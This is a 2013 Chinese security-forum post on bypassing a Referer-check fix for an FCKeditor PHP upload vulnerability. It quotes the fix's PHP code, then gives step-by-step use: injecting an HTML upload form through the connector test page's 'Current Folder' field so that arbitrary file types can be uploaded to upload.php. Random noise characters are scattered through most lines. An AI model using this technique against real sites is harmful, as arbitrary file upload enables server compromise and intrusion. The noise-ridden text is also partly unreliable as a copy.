找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2500|回复: 0
打印 上一主题 下一主题

fckeditor 漏洞修复后的二次利用

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-11 21:12:44 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
漏洞文件:editors/fckeditor/editor/filemanager/upload/php/upload.php* O( R! k6 L- m
网上给出的修复方案是
3 K- L! p0 Z) S0 C修复方法,删除FCK编辑器用其他的编辑器$ O( d( N& _# o3 l) `( O
或者找到 editors/fckeditor/editor/filemanager/upload/php/upload.php 文件
4 ~1 L: X% C1 Y# ?5 {2 l% J/ A+ B/ F" U" P5 L: V- j
require(‘config.php’);
9 d4 [! l; f; `3 [* U/ [require(‘util.php’);* h# d' u, F- w+ f% g: H
的下面添加以下代码—————————–
2 u8 I# S, c: i//防止外部提交, v; g$ d: E5 h+ \; U, x
function outsidepost()  w; ~. ^$ P6 ]5 w2 }5 Q
{8 D+ @( @! r8 O& B/ ?) J. {6 y- F
$servername=$_SERVER['SERVER_NAME'];
; y, y2 [) ?& O/ D$sub_from=@$_SERVER['HTTP_REFERER'];
3 X. K# [" m$ ~- Y$sub_len=strlen($servername);; Q5 r9 I. G6 p6 z( T+ Q
$checkfrom=substr($sub_from,7,$sub_len);6 P- O7 ]( b/ R7 b2 d
if($checkfrom!=$servername){' F, K+ f; Y2 Y0 [
echo(“you don’t outsidepost!”);
7 b8 H( \# f$ B& _: C& ]6 d) ?8 ?# Zexit;
* g6 ^5 H) h2 k5 Z) o, B}9 e7 ~( ?7 S) q3 T; F' H
}6 f4 L2 }. |# d3 u) D0 o2 J0 x. @- G
outsidepost();
. F  ~) i. _# O防止外部提交,但是没有防止内部提交,9 z6 A9 p  B& t
利用方法:
, Q! ]6 q, ^, F4 m$ Z1,打开 editors/fckeditor/editor/filemanager/browser/default/connectors/test.html5 F& d- _& ?- ]# v# v+ Q- J
2,在Current Folder 框输入$ j& \# Y& p, c: O; Z% \
<form id=frmUpload enctype=multipart/form-data action=http://www.url.com/editors/fckeditor/editor/filemanager/upload/php/upload.php?Type=Media method=post>Upload a new file:<br><input type=file name=NewFile size=50><br><input id=btnUpload type=submit value=Upload></form>
! j. Y8 B1 j) r然后 Get Folders and Files 就会出现一个上传表单,即可上传任意文件类型。
; C9 @$ [+ v1 b* r% _) b1 JPS:如果 editors与上传的文件夹设置了403 500 404 权限 利用就无效了。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表